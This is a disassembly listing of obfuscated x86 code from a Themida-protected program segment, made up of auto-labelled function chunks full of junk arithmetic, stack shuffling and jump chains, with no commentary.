loc_5A508A:				; CODE XREF: sub_5A23FB-7D9Dj
		pop	esi
		pop	ebx
		and	eax, edi
		mov	edi, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_597B7A
; END OF FUNCTION CHUNK	FOR sub_5A23FB
; ---------------------------------------------------------------------------


loc_5A50A8:				; DATA XREF: Themida_:0059098Co
		lodsd
		push	76C9h
		jmp	loc_5A452E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A50B3:				; CODE XREF: sub_59390B+B5E2j
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		push	edx
		mov	edx, 2
		add	esi, edx
		mov	edx, [esp+10h+var_10]
		jmp	loc_5920A9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A50CC:				; DATA XREF: Themida_:005909D4o
		lodsb
		push	edx
		mov	dh, 67h
		push	small 67BEh
		mov	[esp], cx
		push	eax
		jmp	loc_5A2EA6
; ---------------------------------------------------------------------------


loc_5A50DE:				; CODE XREF: Themida_:0059FE9Aj
		mov	ebx, 0B922E2Eh
		shr	ebx, 7
		add	ebx, 7CC6160Fh
		jmp	loc_59F6A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A50F1:				; CODE XREF: sub_59390B+6711j
		mov	[esp+8+var_8], edi
		mov	edi, 66543FD6h
		jmp	loc_59F0B4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58F3


loc_5A50FE:				; CODE XREF: sub_5A58F3-EC80j
		sub	esi, 4
		xchg	esi, [esp+4+var_4]
		jmp	loc_59CC7C
; END OF FUNCTION CHUNK	FOR sub_5A58F3
; ---------------------------------------------------------------------------


loc_5A5109:				; CODE XREF: Themida_:0059FDE1j
		mov	ecx, 2644231Dh
		shl	ecx, 2
		not	ecx
		dec	ecx
		xor	ecx, 0F95CA6C9h
		xor	edi, ecx
		pop	ecx
		add	ecx, 34713BEFh
		jmp	loc_592A40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5128:				; CODE XREF: sub_59390B+369j
		mov	ch, al
		jmp	loc_5A4108
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A512F:				; CODE XREF: Themida_:005A49BEj
		add	esi, 4
		add	esi, 2
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	3C15h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_59A0A5
; ---------------------------------------------------------------------------


loc_5A5157:				; CODE XREF: Themida_:00593424j
		or	al, 0EEh
		sub	al, 0ECh
		push	edx
		mov	dl, 0ACh
		jmp	loc_599EA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_5A5163:				; CODE XREF: sub_5A2FE9-6A57j
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		add	esi, 4
		push	ebx
		push	esi
		mov	esi, 1536025Ah
		jmp	loc_596055
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------


loc_5A5180:				; CODE XREF: Themida_:0059F32Fj
		xor	ecx, ebp
		jmp	loc_5A3175
; ---------------------------------------------------------------------------


loc_5A5187:				; CODE XREF: Themida_:005A411Dj
		push	ebp
		mov	ebp, 58CC198Ch
		add	dword ptr [esp+4], 48403C38h
		sub	[esp+4], ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 48403C38h
		sub	[esp+8], ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59227E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_5A51BD:				; CODE XREF: sub_59F8C2-385Aj
		pop	eax
		jmp	loc_598F44
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------


loc_5A51C3:				; CODE XREF: Themida_:00598E45j
		sub	eax, 57D5E39h
		add	eax, 2F423C3Ah
		mov	edx, [esp]
		push	edx
		push	esp
		jmp	loc_5A1F2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A51D7:				; CODE XREF: sub_59390B+6B68j
		pop	edx
		add	al, 12h
		push	[esp-16h+arg_C+2]
		pop	edx
		add	esp, 4
		push	ebx
		jmp	loc_598CD2
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_5A51EA	proc near		; CODE XREF: sub_5A085D-B306j

var_E		= dword	ptr -0Eh
var_8		= byte ptr -8
var_6		= word ptr -6
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00590E5A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00592C6A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005945C1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00594ABD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005958CB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059591C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00597294 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A03F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AB84 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B796 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D822 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059DE5A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059E7F7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F3EB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A0EA8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A15CA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1785 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A17B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2081 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A3D02 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A4212 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4692 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5201 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A542E SIZE 0000000B BYTES

		push	ebx
		mov	bl, 0D2h
		and	al, bl
		jmp	loc_59F3EB
sub_5A51EA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5933BB


loc_5A51F4:				; CODE XREF: sub_5933BB+1463j
		sub	ecx, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	sub_59F294
; END OF FUNCTION CHUNK	FOR sub_5933BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5A5201:				; CODE XREF: sub_5A51EA-F8BBj
		mov	dword ptr [esp+8+var_8], edx
		mov	dl, 8Fh
		and	dl, 0F5h
		and	dl, 2
		neg	dl
		sub	esp, 2
		jmp	loc_5958CB
; END OF FUNCTION CHUNK	FOR sub_5A51EA

; =============== S U B	R O U T	I N E =======================================



sub_5A5219	proc near		; CODE XREF: sub_59390B+A6CAj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00592434 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595B58 SIZE 00000006 BYTES

		push	ebp
		xchg	edx, [esp+4+var_4]
		not	edx
		jmp	loc_592434
sub_5A5219	endp

; ---------------------------------------------------------------------------


loc_5A5224:				; CODE XREF: Themida_:0059B298j
		pop	ecx
		pop	edx
		pop	ebx
		push	edx
		mov	dl, 3Fh
		inc	dl
		jmp	loc_592276
; ---------------------------------------------------------------------------


loc_5A5231:				; CODE XREF: Themida_:0059C564j
		pop	ecx
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_59BB6F
; ---------------------------------------------------------------------------


loc_5A523F:				; CODE XREF: Themida_:005A1879j
		pop	edx
		push	edi
		jmp	loc_591AE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5246:				; CODE XREF: sub_59390B+10E62j
		xor	edx, 65EE3F26h
		dec	edx
		shl	edx, 4
		push	edi
		jmp	loc_597A7E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A5256:				; DATA XREF: Themida_:005907C4o
		mov	cx, [esp]
		push	4B3Bh
		jmp	loc_59282A
; ---------------------------------------------------------------------------


loc_5A5264:				; CODE XREF: Themida_:005970ECj
		mov	eax, 93FF8EF3h
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	esi, ebx
		jmp	loc_5A1AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5278:				; CODE XREF: sub_59390B-1327j
		pop	eax
		shl	edi, 2
		shr	edi, 3
		sub	esp, 4
		mov	[esp-0Ch+arg_4], ecx
		push	eax
		push	15797F0Dh
		pop	eax
		add	eax, 2602891Eh
		mov	ecx, eax
		pop	eax
		jmp	loc_5974B2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A529C:				; CODE XREF: Themida_:005A0F7Ej
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59341E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A52C5:				; CODE XREF: sub_59390B-2B50j
		mov	eax, 2E243090h
		add	ecx, eax
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_5A11FD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A52D7:				; CODE XREF: Themida_:00595E2Ej
		pop	dx
		push	ebx
		mov	bl, 0C8h
		add	bl, 0C0h
		not	bl
		push	dx
		push	ebx
		mov	bl, 4Dh
		sub	bl, 0E2h
		mov	dl, bl
		pop	ebx
		jmp	loc_59722B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_5A52F1:				; CODE XREF: sub_5936EC+19C5j
		mov	edi, 4
		jmp	loc_59121B
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_5A52FB:				; CODE XREF: Themida_:0059C917j
		sub	edi, eax
		push	ecx
		mov	ecx, 7E9F49E5h
		jmp	loc_596C8A
; ---------------------------------------------------------------------------


loc_5A5308:				; CODE XREF: Themida_:0059D196j
		mov	edx, [esp]
		add	esp, 4
		mov	cl, 0B0h
		jmp	loc_5968C9
; ---------------------------------------------------------------------------


loc_5A5315:				; CODE XREF: Themida_:0059EE00j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5937AA
; ---------------------------------------------------------------------------


loc_5A5327:				; CODE XREF: Themida_:005919E4j
		mov	eax, 69502B15h
		add	eax, 3383272Ah
		push	eax
		inc	dword ptr [esp]
		pop	eax
		xor	eax, 2F776BDBh
		shl	eax, 4
		jmp	loc_5A34E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5343:				; CODE XREF: sub_59390B+4994j
		mov	ecx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, 6F6A180Fh
		sub	eax, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	eax, ecx
		push	esi
		mov	esi, 6F6A180Fh
		jmp	loc_5A5A36
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A536C:				; CODE XREF: Themida_:005971DFj
		shl	eax, 1
		jmp	loc_5A4EB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_5A5373:				; CODE XREF: sub_594A8D+F726j
		mov	ecx, 0D69DCA91h
		sub	ebx, ecx
		pop	ecx
		mov	esi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_591BEC
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A538B:				; CODE XREF: sub_59390B-10CCj
		pop	[esp-0Ch+arg_4]
		pop	esp
		add	esp, 4
		push	dword ptr [edi+1Ch]
		push	[esp-14h+arg_C]
		push	[esp-10h+arg_8]
		pop	ecx
		sub	esp, 4
		mov	[esp-0Ch+arg_4], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		sub	ebp, 61A0753Ch
		add	ebp, ecx
		add	ebp, 61A0753Ch
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp-0Ch+arg_4]
		jmp	loc_5A0D89
; ---------------------------------------------------------------------------


loc_5A53CA:				; CODE XREF: sub_59390B+6B6j
		pop	edx
		add	esp, 4
		sub	al, bl
		push	edx
		push	eax
		mov	al, 3Ah
		push	4F5h
		mov	[esp-8+arg_0], edx
		mov	dh, 1Dh
		jmp	loc_59CF1F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A53E6:				; CODE XREF: Themida_:0059A60Ej
		sub	esp, 4
		mov	[esp], ecx
		pop	esi
		pop	ecx
		not	esi
		xor	esi, 5BBA42A3h
		xor	esi, 0E08496B9h
		add	edx, esi
		jmp	loc_593830
; ---------------------------------------------------------------------------


loc_5A5406:				; CODE XREF: Themida_:0059474Aj
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5416:				; CODE XREF: sub_59390B+D1E8j
		shl	edx, 1
		add	edx, 0FF1DF580h
		mov	esi, edx
		pop	edx
		jmp	loc_59A5C9
; ---------------------------------------------------------------------------


loc_5A5426:				; CODE XREF: sub_59390B-19D5j
		push	eax
		mov	eax, esp
		jmp	loc_59D51D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5A542E:				; CODE XREF: sub_5A51EA-9A52j
		pop	ecx
		mov	dh, al
		pop	eax
		dec	dh
		jmp	loc_592C6A
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5439:				; CODE XREF: sub_59390B+E09Aj
		mov	[esp+0], ecx
		push	5C6Ch
		jmp	loc_5923B5
; ---------------------------------------------------------------------------


loc_5A5446:				; CODE XREF: sub_59390B+B495j
		mov	eax, [esp+8+var_8]
		add	esp, 4
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	edx
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		push	eax
		not	[esp+8+var_8]
		mov	eax, [esp+8+var_8]
		push	edi
		jmp	loc_590DC0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A547B:				; DATA XREF: Themida_:005909D8o
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 757711C2h
		jmp	loc_5A2232
; ---------------------------------------------------------------------------


loc_5A548A:				; CODE XREF: Themida_:00591C5Cj
		mov	[esp], edx
		jmp	loc_5A1C8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5492:				; CODE XREF: sub_59390B+2B7Ej
		pop	ebx
		xchg	esi, [esp-1Ah+arg_10+2]
		mov	esp, [esp-1Ah+arg_10+2]
		push	2627h
		mov	[esp-16h+arg_C+2], edx
		mov	dh, 32h
		add	dh, 0AFh
		add	dh, 0FFh
		xor	dh, 79h
		jmp	loc_5916C7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A54B1:				; CODE XREF: Themida_:00594B90j
		not	esi
		jmp	loc_59327E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A54B8:				; CODE XREF: sub_59390B+F853j
		xor	edi, [esp-10h+arg_8]
		pop	esp
		sub	ecx, 1EF22DF5h
		sub	esp, 4
		mov	[esp-10h+arg_8], eax
		mov	eax, 8EFBB60Dh
		xor	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		push	ecx
		jmp	loc_5A4CBB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A54D9:				; CODE XREF: Themida_:0059992Cj
		push	esi
		mov	esi, edi
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		add	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_59E5E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5503:				; CODE XREF: sub_59390B+D4D9j
		add	esp, 4
		add	cl, bh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59AFA9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A5516:				; CODE XREF: Themida_:005A39B7j
		mov	cx, [esp]
		jmp	loc_59AA94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A551F:				; CODE XREF: sub_59390B+E063j
		mov	edi, 21BE2E31h
		sub	edi, ecx
		pop	ecx
		push	esi
		jmp	loc_5A2B2F
; ---------------------------------------------------------------------------


loc_5A552D:				; CODE XREF: sub_59390B+10B9j
		push	eax
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		sub	ebp, 2ECB123Ch
		jmp	loc_594823
; ---------------------------------------------------------------------------


loc_5A5541:				; CODE XREF: sub_59390B+7274j
		xor	ecx, [esp-14h+arg_C]
		xor	[esp-14h+arg_C], ecx
		xor	ecx, [esp-14h+arg_C]
		pop	esp
		mov	ax, word ptr [esp-18h+arg_10]
		push	eax
		jmp	loc_5A3FC8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A5555:				; CODE XREF: Themida_:00592F0Dj
		mov	edx, 52A96FF4h
		jmp	loc_5A4471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2AF


loc_5A555F:				; CODE XREF: sub_59B2AF-7F26j
		add	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 61561289h
		push	eax
		mov	eax, 5A213AF4h
		or	eax, 38FC1179h
		xor	eax, 1BAB2970h
		xor	ebx, eax
		pop	eax
		sub	edi, ebx
		pop	ebx
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		xor	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebp
		push	edx
		mov	edx, 4C48393Ch
		jmp	loc_5A42D8
; END OF FUNCTION CHUNK	FOR sub_59B2AF

; =============== S U B	R O U T	I N E =======================================



sub_5A5596	proc near		; DATA XREF: Themida_:00590A20o
		pop	dword ptr fs:[edx]
		jmp	loc_590A9B
sub_5A5596	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5A559E:				; CODE XREF: Themida_:00598DA7j
		add	ebx, esi
		jmp	loc_5A39BC
; ---------------------------------------------------------------------------


loc_5A55A5:				; CODE XREF: Themida_:005A25A2j
		push	dword ptr [eax]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_5A55AC:				; CODE XREF: sub_5936EC+10067j
		shl	ebx, 3
		push	ebp
		mov	ebp, 37F20B5Bh
		shl	ebp, 1
		xor	ebp, 1B4C48EDh
		or	ebx, ebp
		pop	ebp
		shr	ebx, 2
		add	ebx, 0C084042Ah
		and	eax, ebx
		pop	ebx
		jmp	loc_598FA2
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A55D1:				; CODE XREF: sub_59390B+55A3j
		or	di, 69C0h
		dec	di
		push	bp
		jmp	loc_59CCEB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A55DF:				; CODE XREF: Themida_:005A10E3j
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 2
		sub	ecx, 588B4F9Dh
		add	ecx, esi
		push	ebx
		mov	ebx, 588B4F9Dh
		jmp	loc_59C435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_5A5613:				; CODE XREF: sub_594D13+C5D5j
		add	edi, 0F1985889h
		and	ebp, edi
		pop	edi
		not	ebp
		sub	ebp, 6F448A5Ch
		mov	eax, ebp
		mov	ebp, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	ecx
		jmp	loc_59C7DE
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5641:				; CODE XREF: sub_59390B+953Fj
		add	edi, eax
		sub	edi, 13DA6117h
		jmp	loc_5930EF
; ---------------------------------------------------------------------------


loc_5A564E:				; CODE XREF: sub_59390B+EF9j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+10h+var_10]
		xor	[esp+10h+var_10], ecx
		xor	ecx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	esi
		push	ecx
		push	esi
		mov	esi, 3B471F2Fh
		not	esi
		jmp	loc_594ED2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_5A567A:				; CODE XREF: sub_59338E+7770j
		push	esi
		mov	esi, 55C62470h
		jmp	loc_59D784
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59731A


loc_5A5685:				; CODE XREF: sub_59731A+6171j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		pop	esp
		xor	esi, [esp+0]
		xor	[esp+0], esi
		jmp	loc_59419A
; END OF FUNCTION CHUNK	FOR sub_59731A
; ---------------------------------------------------------------------------


loc_5A56A0:				; CODE XREF: Themida_:0059E43Bj
		push	ecx
		mov	ecx, 0CBE4848h
		inc	ecx
		jmp	loc_59754C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A56AC:				; CODE XREF: sub_59390B+8F32j
		sub	ecx, 60333C58h
		add	ecx, edx
		add	ecx, 60333C58h
		sub	ecx, 15254483h
		push	eax
		mov	eax, 0
		add	eax, ecx
		xor	[eax], ebp
		pop	eax
		pop	ecx
		jmp	loc_5A4DF7
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A56D1:				; CODE XREF: sub_59CAFB-60BAj
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_596703
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A56DF:				; CODE XREF: sub_59390B+A571j
		pop	bx
		sub	cl, ah
		jmp	loc_5A0DE1
; ---------------------------------------------------------------------------


loc_5A56E8:				; CODE XREF: sub_59390B+CACFj
		push	edx
		jmp	loc_597C1E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A56EE:				; CODE XREF: Themida_:005A303Ej
		add	edx, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_59F168
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5700:				; CODE XREF: sub_59390B+A6D6j
		mov	esp, [esp-0Ch+arg_4]
		mov	[esp-0Ch+arg_4], edx
		mov	edx, 1
		or	[edi+1Ch], edx
		pop	edx


loc_5A570F:				; CODE XREF: Themida_:00592A3Bj
		push	0B53h
		mov	[esp-0Ch+arg_4], ebx
		jmp	loc_59ADE5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A571C:				; CODE XREF: sub_59CFD4+3495j
		sub	[esp+8+var_4], 4C5C30B6h
		add	[esp+8+var_4], 1AF641FCh
		jmp	loc_590C89
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0D58


loc_5A5731:				; CODE XREF: sub_5A0D58-17C7j
		mov	ecx, esp
		push	edx
		push	edi
		mov	edi, 80870EAh
		mov	edx, 30EED359h
		add	edx, edi
		pop	edi
		shr	edx, 8
		jmp	loc_59C266
; END OF FUNCTION CHUNK	FOR sub_5A0D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_5A574A:				; CODE XREF: sub_5A3F6E-F514j
		pop	[esp+4+var_4]
		jmp	loc_5A1C89
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------


loc_5A5752:				; CODE XREF: Themida_:0059E80Cj
		pop	edx
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59E31B
; ---------------------------------------------------------------------------


loc_5A5767:				; CODE XREF: Themida_:0059CCE6j
		push	esi
		xchg	edi, [esp]
		inc	edi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esi
		push	40F3h
		mov	[esp], edi
		mov	edi, 2086DB9h
		push	0
		sub	[esp], edi
		pop	edi
		dec	edi
		jmp	loc_591625
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_5A5792:				; CODE XREF: sub_594A8D+5CCCj
		mov	eax, 78930BC5h
		shr	eax, 8
		xor	eax, 5815261Ah
		sub	eax, 2DF147F5h
		push	ecx
		mov	ecx, 0B9E09BBFh
		add	eax, ecx
		pop	ecx
		sub	esi, eax
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		sub	ebx, esi
		pop	esi
		sub	ebx, ebp
		add	ebx, 45094C95h
		mov	ebp, [esp+4+var_4]
		jmp	loc_5A3D33
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599F38


loc_5A57CB:				; CODE XREF: sub_599F38-8C22j
		push	[esp+0Ch+var_C]
		jmp	loc_59F40C
; END OF FUNCTION CHUNK	FOR sub_599F38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_5A57D3:				; CODE XREF: sub_590AC5+B8FCj
		mov	ecx, 4
		add	[esp+arg_0], ecx
		pop	ecx
		push	[esp-4+arg_0]
		pop	ebx
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		push	415Bh
		mov	[esp+0], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 65C019F9h
		jmp	loc_59140A
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5814:				; CODE XREF: sub_59390B+3737j
		mov	edi, [esp+14h+var_14]
		jmp	loc_5A2D7D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A581C:				; CODE XREF: Themida_:0059106Fj
		sub	esp, 4
		jmp	loc_5992E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5A5824:				; CODE XREF: sub_59FD45-2C5Aj
		cmp	eax, edx
		jz	loc_5A5B94
		push	261h
		jmp	loc_59612C
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_5A5836:				; CODE XREF: Themida_:00599303j
		mov	edi, esi
		mov	esi, [esp]
		jmp	loc_59CC0D
; ---------------------------------------------------------------------------


loc_5A5840:				; CODE XREF: Themida_:005A195Dj
		sub	dh, 2Eh
		add	dh, 0C5h
		add	dh, ah
		push	ecx
		mov	cl, 0F3h
		jmp	loc_597D96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A5850:				; CODE XREF: sub_59CFD4+13DCj
		mov	edx, 2E512F80h
		jmp	loc_594BE0
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A585A:				; CODE XREF: sub_59390B+4843j
		pop	esi
		add	esp, 4
		jmp	loc_591107
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
